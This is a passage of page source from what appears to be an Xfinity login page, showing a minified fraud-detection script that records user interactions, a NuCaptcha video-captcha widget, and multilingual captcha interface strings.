nsbbbdb(nsdqqbd, [nsbbpd(a)])
}))
}
nspqdqqpb(document, "click", function(a) {
a = nsqddqbd(a);
nsbbbdb(nsdbpdb, [a[nsdqqbdq], a[nsdqbpbdbq], nsbbpd(a)])
});
nspqdqqpb(document, "touchstart", function(a) {
a = nsqddqbd(a);
a.event && a.event.touches && a.event.touches[0] && "undefined" !== typeof a.event.touches[0].pageX ? nsbbbdb(nsqpbpdq, [a.event.touches[0].pageX, a.event.touches[0].pageY, nsbbpd(a)]) : nsbbbdb(nsqpbpdq, [-1, -1, nsbbpd(a)])
});
nspqdqqpb(document, "mousemove", function(a) {
if (nsbbp() < nspdbbpdd) return !1;
nspdbbpdd = nsbbp() + 5;
a = nsqddqbd(a);
nsbbbdb(nspqqqbdqb, [a[nsdqqbdq], a[nsdqbpbdbq], nsbbpd(a)])
});
null !== c && nspqdqqpb(c, "submit", function(a) {
a = nsqddqbd(a);
nsbbbdb(nsdqbpbd, [a[nsdqqbdq],
a[nsdqbpbdbq], c.id
])
})
}
var nsdqqbdqq = "ff",
nsdqqbd = "fb",
nsqpb = "kd",
nsdqbpb = "ku",
nspqqqbdqb = "mm",
nsdbpdb = "mc",
nspqqqbdq = "ac",
nsqpbpdq = "te",
nsdqbpbd = "fs",
nspdb = "sp",
nspdbbpd = "kk",
nsdbpdbqdp = "st",
nspdppddd = 1,
nsqddqb = 1,
nspdqpppqp = null,
nspqdqqp = null,
nsppbdqq = null,
nsbpdqb = null,
nsqpbqdqq = "",
nsbbbd = "";
function nsbbbdb(a, b) {
var c = nsqpbq();
null == nspqdqqp && (nsbpdqb = nspqdqqp = nspdqpppqp = nsqpbq(), nsbpdqbb("ncip", c, [nsbbp(), nspdppddd, nsqddqb]));
nsbpdqbb(a, c, b);
15E3 <= c - nsbpdqb && (nsbpdqbb("ts", c, [c - nspdqpppqp]), nsbpdqb = c);
switch (a) {
case nsdqqbd:
case nsdqqbd:
case nsdbpdb:
case nsdqbpbd:
nsbpdqbbd(c);
break;
default:
2E3 < c - nsppbdqq && nsbpdqbbd(c)
}
}
function nsbpdqbbd(a) {
nsppbdqq = a;
a = "";
"" !== nsqpbqdqq && (nsbbbd += nsqpbqdqq, nsqpbqdqq = "", a = nsbbbd, nsdqbpbdb === nspdppdd && (a = a.replace(new RegExp(nsqpbp, "g"), nspqqqbd)), nsbbpdd("ipr", a), nspdqp())
}
function nsbpdqbb(a, b, c) {
var d = b - nspqdqqp;
1 < nsqddqb && (d = Math.round(d / nsqddqb));
a = a + "," + d.toString(16);
if (null != c && 0 < c.length) {
for (var d = [], e = 0; e < c.length; e++) "number" === typeof c[e] ? d.push(Math.round(c[e]).toString(16)) : null != c[e] && d.push(c[e].toString());
a = a + "," + d.join(",")
}
nsqpbqdqq = nsqpbqdqq + a + ";";
nspqdqqp = b
}
function nsqddq(a, b) {
nsbbpdd("fv", nds.common.bi.getHTML5SupportedVideo());
nsbbpdd("fa", nds.common.bi.getHTML5SupportedAudio());
nsbbpdd("bp", nds.common.bi.getPlugins())
}
nspdqpppq("misc", nsqddq);
function nspdq(a, b) {
if (nspdppdddp) {
var c = Math.floor(1E6 * Math.random()) + 1E3;
nsbbpdd("wkr", c);
nsqpbqdqqp(b.r + "?r=" + c + "&wt=" + b.w);
nsbbpdd("wk", "p")
}
}
nspdqpppq("wk", nspdq);
function ndwtw(a) {
nspdppdddp && ("string" === typeof a && (a = nsppbdqqpb(a)), nsbbpdd("wk", a.wk), nspdqp())
}
function nsbbp() {
return parseInt((new Date).getTime() / 1E3, 10)
}
function nsqpbq() {
return parseInt((new Date).getTime(), 10)
}
function nsqpbqdqqp(a) {
var b = document.createElement("script");
b.setAttribute("type", "text/JavaScript");
b.setAttribute("src", a);
document.getElementsByTagName("head")[0].appendChild(b)
}
function nspqdq(a) {
var b = null;
document.getElementById ? b = document.getElementById(a) : document.all && (b = document.all[a]);
return b
}
function nsbpdq(a, b) {
var c = [];
"undefined" !== typeof a.getElementsByTagName && (c = a.getElementsByTagName(b));
return c
}
var ndoWidgetUtil = {
isLoaded: function(a, b) {
try {
nds.common.addEventListener(window, "load", function d() {
var c = nsbbpddbp(a),
f = !1;
document.getElementById(c) && (f = !0);
b(f);
nds.common.removeEventListener(window, "load", d)
})
} catch (c) {
b(!1)
}
}
};
</script>
<script type="text/javascript">
function ndpd_load() {
try {
ndwti({
"did": "ndwc",
"fff": "ndpd-%NAME%",
"ffft": "%NAME%",
"ffmm": "fmpm",
"fsss": "ndpd-spbd",
"ddkv": "~~~",
"dddf": "|||",
"dddr": "",
"ddde": false,
"ppns": "sssc",
"ppmm": "ensc",
"ppdd": ";",
"ppds": ";",
"wwwe": true,
"fd": {
"s": "1.w-341498.1.2.qzG5yT8seoTVODYD-u1FXA,,.6vZLr-xA7x2TSfCSwDUtAJ2T_aMECwQRu1Dc4CSYEZlByQy5ZriJt5Np0r5at-a-OQl8_pEWUatlcooYDXQWrLitMmvLa3-g-FgNsR72Nh7COLL8hbG2GX31HE9gqDkL9Kzzvc-u68lvjMcszihpDxn0rdiweC2JI9LippK0qP7WNg3Tw3Jfyj3azZ0WG9YXvktX0mnXOkqWm5gLAj8qYzbuomySG6_I1T2OqEF_M0rgXxlCuxHgrVOCXKKnnOTc4M7Zyui-We6kK63I8eEMTXtkUfpdwNfgtZcpLXMc9xtM1ji6cz9MxLtySotCKbwG",
"f": "1.w-341498.1.2.jo5K3GApzq-3rgrplLY81g,,.2kjzCSPBt6BNKvYXJ-vhzZ6tbUDDQU4J24tAo1obll_KBWH5cR7UWIGNyhYRM1_6TLT5b5ogjBL2dov4MBw17PVSvuy8mcgeskr7gekPhbYqri6I-4RqkYqMgxkHVbNxjPeGqr7aP_Q3E5iE7yWAslI18_8GMK_1RqeRQ9gfmB7VoLs2J6VoXInWxp1t2vqAkzuiJKVw9QsY46hZJoWgnqsEXAPxXcbOWl99d1X5uASd4jeskG9SQ94bSF1OBYF052zbhdsFm4hK70qXwraX8-WhzumVh9y5xOkMXTbTMDGFYQIZcdte3QwdTyoSNAi3",
"fm": "1.w-341498.1.2.zNtWpXfy5iz0hzq0unPyVQ,,.k1PCJKeGym4b8S8M9eKCG8hLPcqo5O4lRnYQ-NERH1eqIPM8dOYblZ8nanFkvyf5EFIA84rUltabsAfNKwtVx24S_bWw0_SoPnhvbYBeVhv8faYSnvLGjR9GKjCs3xHsvN9XeCF356G7mnbm5j49BlvNp_ZdNkoGJ3zgTSL0MrE0Quvzkv6kHpl4NEBE9NBfvVGcNe3HVJyJOoMSlsPxMTC_szlYDDf0f-jxN2_fsa0Qx0eRhbq9coBLmhA0dfJwgaY45oyPJY6bizIHnyeVRot6QJIqO1v8bRc7HDObi7Vn3UYa_lTNrvVwfm7UNT0eIcxcqcOQ42LpttEWfL_lEw,,",
"w": "1.w-341498.1.2.KQzZDf0IdIM0g7qA4EPR9Q,,.KTKigKtqv-mtkcLZ_M6GdMitidQx5XGul_chS-Hu_ObHd7eNisuyFKDSJTCkWKNwKMaMKmcVmsynj6387IoVC6ccBRMn0cdXqPLz70ghlh-SbXlo4Ljq5r5mDmdnbWZ_uJMUq0owfkU0ERDD1TfJWsgkGZiYBU4CgJvKSVv6egOSe-48cavrjoJoHZbH4AcEnSe5oZNXdmNHHE5rs2QfWhtiIN74ucnsKObqt7i3lEQXW5zGW-hSIyM_ARB709ZHalA9RN2AIHLFron4Hxw-Jwo3PGXux-3nXRN_tDMEn6vtlRntIWlIDgO5ZHO13AgYxsFK5TDKZfiEP3gXuRrMA0XvaKlSZgG5scYCd-T-GC3PzTg4Jt4NoQBnhGbLz9q2"
},
"wmd": {
"ipr": {
"fm": [],
"lm": false
},
"di": {
"rt": "128",
"ut": "512"
},
"af": [],
"misc": [],
"wk": {
"r": "https:\/\/login.xfinity.com\/proxy\/nudetect\/65786\/w-341498\/w",
"w": "1.w-341498.1.2.eH7k6KHXgHPBTml4bE6dpw,,.CDGxH3KO8CjBd3sYv7uGYn9iHE6jsI18tGSLW5hTLptMqnVcXRhlZtcXpY3-kbZBS24CBxZVWwvIHyZpH9khvE4yiKYPmLa4mBwPDVPb-jS2nUVra55IlfAaQD9e56e2glgAEip58P2616smZvGode3IfsWiVeDqKWVMeiFDw-VmiJazvhNGBvVM0FrPbssV35vlbu6Gd3o03SdZtJp9A_v7iXKOPHaiYV0ONqBlXg8DVIbvvg_Xxg9JJ1dtAB_G1R88UpJzvMmbCh5OFAxd8SLTrpBiUm4EQuFPrSZ9Y4O_2HP2py8TQYNyup05T9MzC6M3mGTQMZF-0Mee1_7yNWlTtRRcX4n2qXENvAW4B_4,"
}
}
});
} catch (err) {
var ndpd_suffixes = [""];
for (var ndpd_i = ndpd_suffixes.length - 1; ndpd_i >= 0; --ndpd_i) {
var ndpd_suffix = ndpd_suffixes[ndpd_i];
var ndpd_jse = document.createElement("input");
ndpd_jse.type = "hidden";
ndpd_jse.name = "ndpd-jse";
ndpd_jse.value = err.message;
ndpd_jse.id = "ndpd-jse" + ndpd_suffix;
document.getElementById("ndwc" + ndpd_suffix).appendChild(ndpd_jse);
}
}
}
if ("complete" === document.readyState) {
ndpd_load();
} else if (window.addEventListener) {
window.addEventListener("load", ndpd_load);
} else if (window.attachEvent) {
window.attachEvent("onload", ndpd_load);
} else {
ndpd_load();
}
</script>
<div id="nd-captcha" class="nd-captcha" lang="en">
<div id="nucaptcha-widget" class="nucaptcha-widget" role="group" aria-label="NuCaptcha Widget">
<div id="nucaptcha-widget-container" class="nucaptcha-widget-container">
<div id="nucaptcha-player" class="nucaptcha-player wm-script pt-script pm-video l-eng">
<div id="media-container" class="media-container">
<img id="nucaptcha-media" class=" nucaptcha-media" onload="ncOnGifLoaded()" onerror="ncOnGifError()" width="240" height="60" title="Type the moving characters"
src="https://login.xfinity.com/proxy/nudetect/65786/w-341498/captcha?type=VIDEO&lang=eng&index=0&token=1.w-341498.1.2.Axt0ydDuuvbWcaXVMXSWGg,,.DJD5DrNSShI49rnUE9WRFebORj845HsVTVrNX2meo52eO3yJfasR9sHnPfWdsJuV5tn-7F92UZJNhANCkyqJvq-2tWFi2k_BwWKM0IRwWk_lwztvdJH24upNVjFEz1P4j0LOCCKmxGhfulF0lO7tix21pPFmgSIC3Qe0RAOKbSEH-K2A-dp6qAatIF-CIaExg74MhhO6MACMmAMYauuXgnkRZ1I4DzDVoD6q7RzBvQCth4BwPNcbUhpbqz7bzOGQl6yWvAhuri3IILfrMKwCFg4NPGHqfUV0mybim9S4M65EJU7JNUy9-qweUbyBtZdXmiUdTNNYvHzViuOJDo-w0jgh_UlzJm93s_qswAaqQhRJXtThlyclgm6G8-JU8GNh&r=rs-M3GcTSpccUwecwN5xTCXMQxx&ptype=SCRIPT"
alt="NuCaptcha Media" onclick="javascript:ncOnVideoClick();">
</div>
<label id="directions-verbose-label" class="directions-verbose-label" for="nucaptcha-answer">Type the moving characters</label> <input id="nucaptcha-answer" class="nucaptcha-answer" name="nucaptcha-answer" title="" type="text"
onblur="ncCmdLeaveAnswerBox('');" onfocus="ncCmdEnterAnswerBox('');" onchange="ncCmdLeaveAnswerBox('');" onclick="ncCmdClickAnswerBox('');" maxlength="64" aria-required="true" autocomplete="off" tabindex="0">
<p class="field-help"><a id="new-challenge" title="Get A New Challenge" class="cmd new-challenge" href="javascript:ncCmdNewChallenge('');">Get A New Challenge</a>
<a id="player-mode" title="Get An Audio Challenge" class="cmd player-mode toggle" href="javascript:ncCmdToggleAudio('');">Get An Audio Challenge</a>
<a class="cmd" href="https://login.xfinity.com/proxy/nucaptcha/help.html?lang=en" onclick="window.open(this.href,'helpwindow','width=720,height=600,resizable=0,top=10,left=10,menubar=0,statusbar=0,toolbar=0,scrollbars=0,location=0,directories=0'); return false;">Help</a>
</p>
<div id="private-container" class="private-container">
<input id="nucaptcha-answer-enter" class="nucaptcha-answer-enter" name="nucaptcha-answer-enter" title="null" type="hidden" value="">
<input id="nucaptcha-answer-exit" class="nucaptcha-answer-exit" name="nucaptcha-answer-exit" title="null" type="hidden" value="" onsubmit="ncCmdLeaveAnswerBox('');">
<input id="nucaptcha-token" class="nucaptcha-token" name="nucaptcha-token" title="null" type="hidden"
value="1.w-341498.1.2.Axt0ydDuuvbWcaXVMXSWGg,,.DJD5DrNSShI49rnUE9WRFebORj845HsVTVrNX2meo52eO3yJfasR9sHnPfWdsJuV5tn-7F92UZJNhANCkyqJvq-2tWFi2k_BwWKM0IRwWk_lwztvdJH24upNVjFEz1P4j0LOCCKmxGhfulF0lO7tix21pPFmgSIC3Qe0RAOKbSEH-K2A-dp6qAatIF-CIaExg74MhhO6MACMmAMYauuXgnkRZ1I4DzDVoD6q7RzBvQCth4BwPNcbUhpbqz7bzOGQl6yWvAhuri3IILfrMKwCFg4NPGHqfUV0mybim9S4M65EJU7JNUy9-qweUbyBtZdXmiUdTNNYvHzViuOJDo-w0jgh_UlzJm93s_qswAaqQhRJXtThlyclgm6G8-JU8GNh|0|VIDEO|0||0|0">
</div>
</div>
<noscript>
<div id="nucaptcha-player-ns" class="wm-noscript pm-video dt-gif pt-noscript no-png nucaptcha-player-ns">
<div id="media-container">
<img id="nucaptcha-media" class="nucaptcha-media"
src="https://login.xfinity.com/proxy/nudetect/65786/w-341498/captcha?token=1.w-341498.1.2.Axt0ydDuuvbWcaXVMXSWGg%2C%2C.DJD5DrNSShI49rnUE9WRFebORj845HsVTVrNX2meo52eO3yJfasR9sHnPfWdsJuV5tn-7F92UZJNhANCkyqJvq-2tWFi2k_BwWKM0IRwWk_lwztvdJH24upNVjFEz1P4j0LOCCKmxGhfulF0lO7tix21pPFmgSIC3Qe0RAOKbSEH-K2A-dp6qAatIF-CIaExg74MhhO6MACMmAMYauuXgnkRZ1I4DzDVoD6q7RzBvQCth4BwPNcbUhpbqz7bzOGQl6yWvAhuri3IILfrMKwCFg4NPGHqfUV0mybim9S4M65EJU7JNUy9-qweUbyBtZdXmiUdTNNYvHzViuOJDo-w0jgh_UlzJm93s_qswAaqQhRJXtThlyclgm6G8-JU8GNh&lang=eng&ptype=NOSCRIPT&type=VIDEO&index=0&r=rs-M3GcTSpccUwecwN5xTCXMQxx"
width="240" height="60" alt="NuCaptcha Media">
</div>
<label id="directions-verbose-label" class="directions-verbose-label" for="nucaptcha-answer">Type the moving characters</label>
<input id="nucaptcha-answer" class="nucaptcha-answer" name="nucaptcha-answer" type="text" maxlength="64" autocomplete="off">
<div id="private-container" style="display:none;">
<input id="nucaptcha-language" name="nucaptcha-language" type="hidden" value="eng">
<input id="nucaptcha-index" name="nucaptcha-index" type="hidden" value="0">
<input id="nucaptcha-type" name="nucaptcha-type" type="hidden" value="VIDEO">
<input id="nucaptcha-ptype" name="nucaptcha-ptype" type="hidden" value="NOSCRIPT">
<input id="nucaptcha-token" name="nucaptcha-token" type="hidden"
value="1.w-341498.1.2.Axt0ydDuuvbWcaXVMXSWGg,,.DJD5DrNSShI49rnUE9WRFebORj845HsVTVrNX2meo52eO3yJfasR9sHnPfWdsJuV5tn-7F92UZJNhANCkyqJvq-2tWFi2k_BwWKM0IRwWk_lwztvdJH24upNVjFEz1P4j0LOCCKmxGhfulF0lO7tix21pPFmgSIC3Qe0RAOKbSEH-K2A-dp6qAatIF-CIaExg74MhhO6MACMmAMYauuXgnkRZ1I4DzDVoD6q7RzBvQCth4BwPNcbUhpbqz7bzOGQl6yWvAhuri3IILfrMKwCFg4NPGHqfUV0mybim9S4M65EJU7JNUy9-qweUbyBtZdXmiUdTNNYvHzViuOJDo-w0jgh_UlzJm93s_qswAaqQhRJXtThlyclgm6G8-JU8GNh">
</div>
</div>
</noscript>
</div>
</div>
<script type="text/javascript">
var ncLanguages = {},
ncLanguageDict = {
eng: {
_DOWNLOAD_AUDIO_: "Download An Audio Challenge",
_AUDIO_LISTEN_AGAIN_: "Replay Audio Sample",
_AUDIO_NEW_CHALLENGE_: "Get A New Challenge",
_REFRESH_BUTTON_: "Get A New Challenge",
_AUDIO_BUTTON_: "Get An Audio Challenge",
_PLAYER_AUDIO_: "Audio Challenge",
_PLAYER_VIDEO_: "Video Challenge",
"_DIRECTIONS_VERBOSE[0000]_": "Type the moving characters",
"_DIRECTIONS[0000]_": "Moving characters:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Type the characters you hear in the audio",
"_DIRECTIONS_AUDIO[0000]_": "Characters you hear:",
_AUDIO_BUTTON_RETURN_: "Return to Visual Challenge",
"_DIRECTIONS2[0000]_": "Moving characters:",
"_DIRECTIONS2_VERBOSE[0000]_": "Type the moving characters",
"_DIRECTIONS2_AUDIO[0000]_": "Characters you hear:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Type the characters you hear in the audio",
_ERROR_: "An unexpected issue occurred.<br>Please %_MAILTO_START_%click here%_MAILTO_END_% to report the problem.",
_ERROR_EMAIL_SUBJECT_: "Player Status",
_ERROR_EMAIL_BODY_: "Please tell us what happened so we can improve our system.\n\nDetails\n==========\n%_DETAILS_%",
_JS_REQUIRED_: "Javascript is required for this human verification test. Please enable Javascript and reload the page."
},
ukr: {
_DOWNLOAD_AUDIO_: "Завантажити аудіо виклик",
_AUDIO_LISTEN_AGAIN_: "відтворювати аудіо зразок",
_AUDIO_NEW_CHALLENGE_: "Отримати новий виклик",
_REFRESH_BUTTON_: "Отримати новий виклик",
_AUDIO_BUTTON_: "Отримати Audio виклик",
_PLAYER_AUDIO_: "Аудіо виклик",
_PLAYER_VIDEO_: "Відео виклик",
"_DIRECTIONS_VERBOSE[0000]_": "Введіть текст рухомий",
"_DIRECTIONS[0000]_": "Переміщення тексту:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Введіть текст, який ви чуєте в аудіо",
"_DIRECTIONS_AUDIO[0000]_": "Текст ви чуєте",
_AUDIO_BUTTON_RETURN_: "Повернутися до візуального виклик",
"_DIRECTIONS2[0000]_": "Переміщення тексту:",
"_DIRECTIONS2_VERBOSE[0000]_": "Введіть текст рухомий",
"_DIRECTIONS2_AUDIO[0000]_": "Текст ви чуєте",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Введіть текст, який ви чуєте в аудіо",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
slk: {
_DOWNLOAD_AUDIO_: "Stiahnuť Audio výzvou",
_AUDIO_LISTEN_AGAIN_: "Prehrať zvukové ukážky",
_AUDIO_NEW_CHALLENGE_: "Získať novú výzvu",
_REFRESH_BUTTON_: "Získať novú výzvu",
_AUDIO_BUTTON_: "Získajte Audio výzvu",
_PLAYER_AUDIO_: "Audio výzva",
_PLAYER_VIDEO_: "Video výzvou",
"_DIRECTIONS_VERBOSE[0000]_": "Zadajte pohyblivý text",
"_DIRECTIONS[0000]_": "Pohyblivý text:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Zadajte text, ktorý počujete v audio",
"_DIRECTIONS_AUDIO[0000]_": "Text počujete:",
_AUDIO_BUTTON_RETURN_: "Späť na vizuálne výzvou",
"_DIRECTIONS2[0000]_": "Pohyblivý text:",
"_DIRECTIONS2_VERBOSE[0000]_": "Zadajte pohyblivý text",
"_DIRECTIONS2_AUDIO[0000]_": "Text počujete:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Zadajte text, ktorý počujete v audio",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
ron: {
_DOWNLOAD_AUDIO_: "Descarca O provocare audio",
_AUDIO_LISTEN_AGAIN_: "Reluarea eșantion Audio",
_AUDIO_NEW_CHALLENGE_: "La o nouă provocare",
_REFRESH_BUTTON_: "La o nouă provocare",
_AUDIO_BUTTON_: "La o provocare de audio",
_PLAYER_AUDIO_: "Provocare de audio",
_PLAYER_VIDEO_: "Provocare de Video",
"_DIRECTIONS_VERBOSE[0000]_": "Introduceți textul în mișcare",
"_DIRECTIONS[0000]_": "Mutarea textului:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Introduceți textul pe care îl auzi în audio",
"_DIRECTIONS_AUDIO[0000]_": "Text auzi:",
_AUDIO_BUTTON_RETURN_: "Întoarceți-vă la provocare de vizuală",
"_DIRECTIONS2[0000]_": "Mutarea textului:",
"_DIRECTIONS2_VERBOSE[0000]_": "Introduceți textul în mișcare",
"_DIRECTIONS2_AUDIO[0000]_": "Text auzi:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Introduceți textul pe care îl auzi în audio",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
pol: {
_DOWNLOAD_AUDIO_: "Pobierz wyzwanie audio",
_AUDIO_LISTEN_AGAIN_: "Powtórka próbki audio",
_AUDIO_NEW_CHALLENGE_: "Pobierz nowe wyzwanie",
_REFRESH_BUTTON_: "Pobierz nowe wyzwanie",
_AUDIO_BUTTON_: "Pobierz wyzwanie audio",
_PLAYER_AUDIO_: "Wyzwanie audio",
_PLAYER_VIDEO_: "Wyzwanie wideo",
"_DIRECTIONS_VERBOSE[0000]_": "Wpisz poruszające litery",
"_DIRECTIONS[0000]_": "Poruszające litery:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Wpisz litery, które słyszysz w Audio",
"_DIRECTIONS_AUDIO[0000]_": "Litery słyszysz:",
_AUDIO_BUTTON_RETURN_: "Powrót do prowokacji wizualnej",
"_DIRECTIONS2[0000]_": "Poruszające litery:",
"_DIRECTIONS2_VERBOSE[0000]_": "Wpisz poruszające litery",
"_DIRECTIONS2_AUDIO[0000]_": "Litery słyszysz:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Wpisz litery, które słyszysz w Audio",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
hun: {
_DOWNLOAD_AUDIO_: "Töltse le az audio kihívást",
_AUDIO_LISTEN_AGAIN_: "Visszajátszás Audió Sample",
_AUDIO_NEW_CHALLENGE_: "Kap egy új kihívás",
_REFRESH_BUTTON_: "Kap egy új kihívás",
_AUDIO_BUTTON_: "Egy audio kihívást",
_PLAYER_AUDIO_: "Audio kihívást",
_PLAYER_VIDEO_: "Video kihívást",
"_DIRECTIONS_VERBOSE[0000]_": "Írja be a mozgó szöveget",
"_DIRECTIONS[0000]_": "Mozgó szöveg:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Írja be a szöveget hallod",
"_DIRECTIONS_AUDIO[0000]_": "Szöveg hallod:",
_AUDIO_BUTTON_RETURN_: "Vissza vizuális kihívást",
"_DIRECTIONS2[0000]_": "Mozgó szöveg:",
"_DIRECTIONS2_VERBOSE[0000]_": "Írja be a mozgó szöveget",
"_DIRECTIONS2_AUDIO[0000]_": "Szöveg hallod:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Írja be a szöveget hallod",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
heb: {
_DOWNLOAD_AUDIO_: "הורד אתגר אודיו",
_AUDIO_LISTEN_AGAIN_: "לחזור לדוגמא אודיו",
_AUDIO_NEW_CHALLENGE_: "קבל אתגר חדש",
_REFRESH_BUTTON_: "קבל אתגר חדש",
_AUDIO_BUTTON_: "קבל אתגר אודיו",
_PLAYER_AUDIO_: "אתגר אודיו",
_PLAYER_VIDEO_: "אתגר וידאו",
"_DIRECTIONS_VERBOSE[0000]_": "הקלד את הטקסט נע",
"_DIRECTIONS[0000]_": "העברת טקסט",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "הקלד את הטקסט שאתה שומע באודיו",
"_DIRECTIONS_AUDIO[0000]_": "טקסט שאתה שומע",
_AUDIO_BUTTON_RETURN_: "חזור לאתגר חזותי",
"_DIRECTIONS2[0000]_": "העברת טקסט",
"_DIRECTIONS2_VERBOSE[0000]_": "הקלד את הטקסט נע",
"_DIRECTIONS2_AUDIO[0000]_": "טקסט שאתה שומע",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "הקלד את הטקסט שאתה שומע באודיו",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
gre: {
_DOWNLOAD_AUDIO_: "Κατεβάστε μια ακουστική πρόκληση",
_AUDIO_LISTEN_AGAIN_: "Ξαναπαίξετε δειγματοληψίας ήχου",
_AUDIO_NEW_CHALLENGE_: "Πάρτε μια νέα πρόκληση",
_REFRESH_BUTTON_: "Πάρτε μια νέα πρόκληση",
_AUDIO_BUTTON_: "Πάρτε μια ακουστική πρόκληση",
_PLAYER_AUDIO_: "Πρόκληση Ήχος",
_PLAYER_VIDEO_: "Πρόκληση Βίντεο",
"_DIRECTIONS_VERBOSE[0000]_": "Πληκτρολογήστε τα γράμματα Κινούμενοι",
"_DIRECTIONS[0000]_": "Μετακίνηση γράμματα:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Πληκτρολογήστε τα γράμματα που ακούτε στο ακουστικό",
"_DIRECTIONS_AUDIO[0000]_": "Κείμενο που ακούτε:",
_AUDIO_BUTTON_RETURN_: "Επιστροφή στην οπτική πρόκληση",
"_DIRECTIONS2[0000]_": "Μετακίνηση γράμματα:",
"_DIRECTIONS2_VERBOSE[0000]_": "Πληκτρολογήστε τα γράμματα Κινούμενοι",
"_DIRECTIONS2_AUDIO[0000]_": "Κείμενο που ακούτε:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Πληκτρολογήστε τα γράμματα που ακούτε στο ακουστικό",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
cze: {
_DOWNLOAD_AUDIO_: "Stáhnout Audio výzvu",
_AUDIO_LISTEN_AGAIN_: "Přehrávání zvukové ukázky",
_AUDIO_NEW_CHALLENGE_: "Získat novou výzvu",
_REFRESH_BUTTON_: "Získat novou výzvu",
_AUDIO_BUTTON_: "Získat audio výzvu",
_PLAYER_AUDIO_: "Audio výzva",
_PLAYER_VIDEO_: "Video výzva",
"_DIRECTIONS_VERBOSE[0000]_": "Zadejte pohyblivý text",
"_DIRECTIONS[0000]_": "Přesouvání textu:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Zadejte text, který slyšíte v audio",
"_DIRECTIONS_AUDIO[0000]_": "Text si slyšíte:",
_AUDIO_BUTTON_RETURN_: "Zpět na Visual výzvu",
"_DIRECTIONS2[0000]_": "Přesouvání textu:",
"_DIRECTIONS2_VERBOSE[0000]_": "Zadejte pohyblivý text",
"_DIRECTIONS2_AUDIO[0000]_": "Text si slyšíte:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Zadejte text, který slyšíte v audio",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
hrv: {
_DOWNLOAD_AUDIO_: "Preuzimanje audio izazov",
_AUDIO_LISTEN_AGAIN_: "Ponoviti audio uzorak",
_AUDIO_NEW_CHALLENGE_: "Nabavite novi izazov",
_REFRESH_BUTTON_: "Nabavite novi izazov",
_AUDIO_BUTTON_: "Dobiti audio izazov",
_PLAYER_AUDIO_: "Audio izazov",
_PLAYER_VIDEO_: "Video izazov",
"_DIRECTIONS_VERBOSE[0000]_": "Upišite pomicanjem slova",
"_DIRECTIONS[0000]_": "Pomicanjem slova:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Upišite slova čuti u Audio",
"_DIRECTIONS_AUDIO[0000]_": "Slova čujete:",
_AUDIO_BUTTON_RETURN_: "Povratak na vizualni izazov",
"_DIRECTIONS2[0000]_": "Pomicanjem slova:",
"_DIRECTIONS2_VERBOSE[0000]_": "Upišite pomicanjem slova",
"_DIRECTIONS2_AUDIO[0000]_": "Slova čujete:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Upišite slova čuti u Audio",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
cat: {
_DOWNLOAD_AUDIO_: "Descarrega un desafiament d'àudio",
_AUDIO_LISTEN_AGAIN_: "Repetir la mostra d'àudio",
_AUDIO_NEW_CHALLENGE_: "Fer una prova nova",
_REFRESH_BUTTON_: "Fer una prova nova",
_AUDIO_BUTTON_: "Obtenir un desafiament d'àudio",
_PLAYER_AUDIO_: "Desafiament Àudio",
_PLAYER_VIDEO_: "Desafiament Vídeo",
"_DIRECTIONS_VERBOSE[0000]_": "Escriu les lletres en moviment",
"_DIRECTIONS[0000]_": "Lletres en moviment:",
"_DIRECTIONS_VERBOSE_AUDIO[0000]_": "Escriu les lletres que s'escolten en l'àudio",
"_DIRECTIONS_AUDIO[0000]_": "Lletres que s'escolten:",
_AUDIO_BUTTON_RETURN_: "Torneu a visual desafiament",
"_DIRECTIONS2[0000]_": "Lletres en moviment:",
"_DIRECTIONS2_VERBOSE[0000]_": "Escriu les lletres en moviment",
"_DIRECTIONS2_AUDIO[0000]_": "Lletres que s'escolten:",
"_DIRECTIONS2_VERBOSE_AUDIO[0000]_": "Escriu les lletres que s'escolten en l'àudio",
_ERROR_: "",
_ERROR_EMAIL_SUBJECT_: "",
_ERROR_EMAIL_BODY_: "",
_JS_REQUIRED_: ""
},
ara: {
_DOWNLOAD_AUDIO_: "وثمة تحد تنزيل السمعيه",
_AUDIO_LISTEN_AGAIN_: "إعادة عينة الصوت",
_AUDIO_NEW_CHALLENGE_: "الحصول على تحد جديد",
